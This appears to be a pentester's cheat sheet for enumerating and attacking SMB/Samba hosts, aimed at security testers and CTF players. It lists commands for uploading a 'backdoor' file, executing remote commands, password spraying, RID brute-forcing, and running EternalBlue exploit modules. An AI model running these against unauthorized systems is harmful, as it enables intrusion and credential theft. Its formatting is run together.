The Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network.
SAMBA is an alternative implementation of the SMB server, which developed for Unix-based operating systems.
Default Port: 139,445
Banner grabbing
nc -nv $IP 445
Nmap
Nmap is a network scanner created by Gordon Lyon. Nmap is used to discover hosts and services on computer network by sending packets and analyzing the responses.
Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection.
# Default NSEsudo nmap -sCV -p445 $IP# Enum version and dialectsudo nmap -p445 --script=smb-protocols $IP# Enum netbios of SMBsudo nmap -p445 --script=smb-os-discovery $IP# Enum security level/modesudo nmap -p445 --script=smb-security-mode $IP# List available sharessudo nmap -p445 --script=smb-enum-shares $IP# Detect EternalBlue vulnerabilitysudo nmap -p445 --script=smb-vuln-ms17-010 $IP# Enum logged in user sessionsudo nmap -p445 --script=smb-enum-sessions $IP# Enum logged in user session with AUTHENTICATIONsudo nmap -p445 --script=smb-enum-sessions --script-args smbusername=administrator,smbpassword=password123 $IP# Enum users with AUTHENTICATIONsudo nmap -p445 --script=smb-enum-users --script-args smbusername=administrator,smbpassword=password123 $IP# Enum groups with AUTHENTICATIONsudo nmap -p445 --script=smb-enum-groups --script-args smbusername=administrator,smbpassword=password123 $IP# List available shares with AUTHENTICATIONsudo nmap -p445 --script=smb-enum-shares --script-args smbusername=administrator,smbpassword=password123 $IP
SMBMap
SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands.
# Check the shares permission with NULL sessionsmbmap -u guest -p "" -d . -H $IP# Check the shares permission with AUTHENTICATIONsmbmap -u "administrator" -p "password123" -H $IP# List all the shares with AUTHENTICATIONsmbmap -u "administrator" -p "password123" -H $IP -L# List the share items with AUTHENTICATIONsmbmap -u "administrator" -p "password123" -H $IP -r 'C$'# Execute remote command with AUTHENTICATIONsmbmap -u "administrator" -p "password123" -H $IP -x 'ipconfig'# Upload file with AUTHENTICATIONsmbmap -u "administrator" -p "password123" -H $IP --upload '/root/backdoor' 'C$\backdoor'# Download file with AUTHENTICATIONsmbmap -u "administrator" -p "password123" -H $IP --download 'C$\flag.txt'
SMBclient
SMBclient is a command-line tool for accessing and managing SMB shared resources on a network. It is commonly used in Linux and Unix environments to interact with Windows file shares.
# List all shares with NULL sessionsmbclient -L $IP -N# Connect to selected share with NULL sessionsmbclient //$IP/<share> -N# List all shares with AUTHENTICATIONsmbclient -L \\\\$IP\\ -U administrator# Connect to selected share with AUTHENTICATIONsmbclient \\\\$IP\\<share> -U administrator# Download recursively (without prompt)smbclient -U administrator //$IP/<share> -c "prompt OFF; recurse ON; mget *"
NetExec
NetExec (AKA nxc) is a network service exploitation tool that helps automate assessing the security of large networks.
# Get Windows versionnxc smb $IP# List shares and the permissionsnxc smb $IP -u "" -p "" --shares# Password sprayingnxc smb $IP -u /wordlists.txt/users.txt -p /wordlists/passwords.txt --no-bruteforce
Rpcclient
Tool for executing client side MS-RPC functions.
rpcclient -U "" -N $IP # null sessionsrpcclient -U administrator%password123 $IP # auth sessions > srvinfo # enum os version > enumdomusers # enum all users > lookupnames admin # enum user > enumdomgroups # enum groups > netshareenumall # listing all shares > netsharegetinfo <share> # more info about the share > queryuser <RID> # more info on specific user
Brute-Force RIDs
# Bash oneliner RID bruteforcefor i in $(seq 500 1100);do rpcclient -N -U "" $IP -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done# Bash oneliner RID bruteforce,# get the SID from administrator (rpcclient)[> lookupnames administrator]for i in $(seq 500 5000); do rpcclient -N -U "" --password=anonymous $IP -c "lookupsids S-1-5-21-4078382237-1492182817-2568127209-$i"; done | grep -v "unknown"# NetExec RID bruteforcenxc smb $IP -u 'anonymous' -p '' --rid-brute
Enum4Linux-ng
Enum4linux-ng is a rewrite of Mark Lowe’s (former Portcullis Labs now Cisco CX Security Labs) enum4linux, a tool for enumerating information from Windows and Samba systems, aimed for security professionals and CTF players.
# Enum all thingsenum4linux-ng -A $IP# Get OS information via RPCenum4linux-ng -O $IP# Get users via RPCenum4linux-ng -U $IP# Get shares via RPCenum4linux-ng -S $IP# Get groups via RPCenum4linux-ng -G $IP# Get printer information via RPCenum4linux-ng -I $IP# Enum all things with AUTHENTICATIONenum4linux-ng -A -u "administrator" -p "password123" $IP# Enum users SID with AUTHENTICATIONenum4linux -r default -u "administrator" -p "password123" $IP
Nmblookup
Designed to make use of queries for the NetBIOS names and then map them to their subsequent IP address in a network. All queries are done over UDP.
# Initial connectionnmblookup -A $IP# For unique names: (code number)00: Workstation Service (workstation name)03: Windows Messenger service06: Remote Access Service20: File Service (also called Host Record)21: Remote Access Service client1B: Domain Master Browser – Primary Domain Controller for a domain1D: Master Browser# For group names: (code number)00: Workstation Service (workgroup/domain name)1C: Domain Controllers for a domain1E: Browser Service Elections
Impacket-PsExec
Impacket’s psexec.py offers psexec like functionality. This will give you an interactive shell on the Windows host.
auxiliary/scanner/smb/smb_version # SMB version scannerauxiliary/scanner/smb/smb2 # Detect SMB 2.0 protocolauxiliary/scanner/smb/smb_enumusers # Enum users via SAM RPCauxiliary/scanner/smb/smb_enumshares # Enum shares and list permissionsauxiliary/scanner/smb/smb_login # Test a SMB login on a range of machinesauxiliary/scanner/smb/pipe_auditor # Determine what named pipes are accessible over SMBexploit/windows/smb/psexec # Similar to "psexec" utility provided by SysInternalsauxiliary/scanner/smb/smb_ms17_010 # Scan the target for vulnerabilityexploit/windows/smb/ms17_010_eternalblue # Exploit the eternalblueexploit/windows/smb/ms17_010_psexec # Exploit the eternalblueexploit/linux/samba/is_known_pipename # Exploiting samba v3.5.0 (RCE)